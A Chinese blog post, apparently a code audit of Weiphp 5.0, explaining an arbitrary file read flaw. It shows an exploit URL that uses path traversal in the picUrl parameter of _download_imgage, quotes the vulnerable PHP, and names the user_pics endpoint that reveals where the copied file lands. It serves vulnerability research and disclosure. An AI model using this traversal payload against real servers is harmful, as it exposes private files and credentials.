当前位置:   article > 正文

[代码审计]Weiphp5.0 前台文件任意读取分析_weiphp 漏洞

weiphp 漏洞

文章目录

前言

最近一直在刷CNVD吧,大概两周刷了四页多,感觉自己水平也在见着长高,今天来分析一下Weiphp,毕竟也很久没写过博客了
  • 1

分析

漏洞所在的函数为application/material/controller/Material.php下的_download_imgage函数,正好这是一个public方法,根据thinkphp的路由规则我们不难得到传参方式,这里直接先给出exp然后继续分析好吧

这里得用POST传入的方式绕过验证
http://ddcms.top//public/index.php/material/Material/_download_imgage?media_id=1&picUrl=./../build.php
  • 1
  • 2

接下来是分析,首先得到保存路径以及创建文件,规则很清楚吧

$savePath = SITE_PATH . '/public/uploads/picture/' . time_format(NOW_TIME, 'Y-m-d');
mkdirs($savePath);
  • 1
  • 2

由于$picUrl参数不为空,因此进入else分支,这里逻辑很明确,从wp_file_get_contents获取文件内容,并根据一定规则构成文件名,并写入

$content = wp_file_get_contents($picUrl);
// 获取图片扩展名
$picExt = substr($picUrl, strrpos($picUrl, '=') + 1);
if (empty($picExt) || $picExt == 'jpeg' ||strpos('jpg,gif,png,jpeg,bmp', $picExt) === false) {
                $picExt = 'jpg';
}
echo uniqid();
$picName = NOW_TIME . uniqid() . '.' . $picExt;
$picPath = $savePath . '/' . $picName;
$res = file_put_contents($picPath, $content);
if (!$res) {
    $cover_id = do_down_image($media_id);
    if (!$cover_id) {
        return 0;
        exit();
    }
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17

我们看看这个wp_file_get_contents函数,注释很清楚防超时的file_get_contents改造函数

// 防超时的file_get_contents改造函数
function wp_file_get_contents($url)
{
    if (empty($url)) {
        return '';
    }

    $context = stream_context_create(array(
        'http' => array(
            'timeout' => 30
        ),
        'ssl' => array(
            'verify_peer' => false,
            'verify_peer_name' => false
        )
    )); // 超时时间,单位为秒

    return file_get_contents($url, 0, $context);
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19

这里也没过滤,因此我们很容易通过目录穿越来读取任意文件

接下来就是如何获取文件名了,更简单在application/home/controller/File.php下的user_pics方法当中

function user_pics()
    {
        $map['wpid'] = get_wpid();
        $picList = M('Picture')->where(wp_where($map))
            ->order('id desc')
            ->select();
        $this->assign('picList', $picList);
        exit($this->fetch());
    }
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9

可以看看效果,直接访问没毛病
在这里插入图片描述

本文内容由网友自发贡献,转载请注明出处:【wpsshop博客】
推荐阅读
相关标签
  

闽ICP备14008679号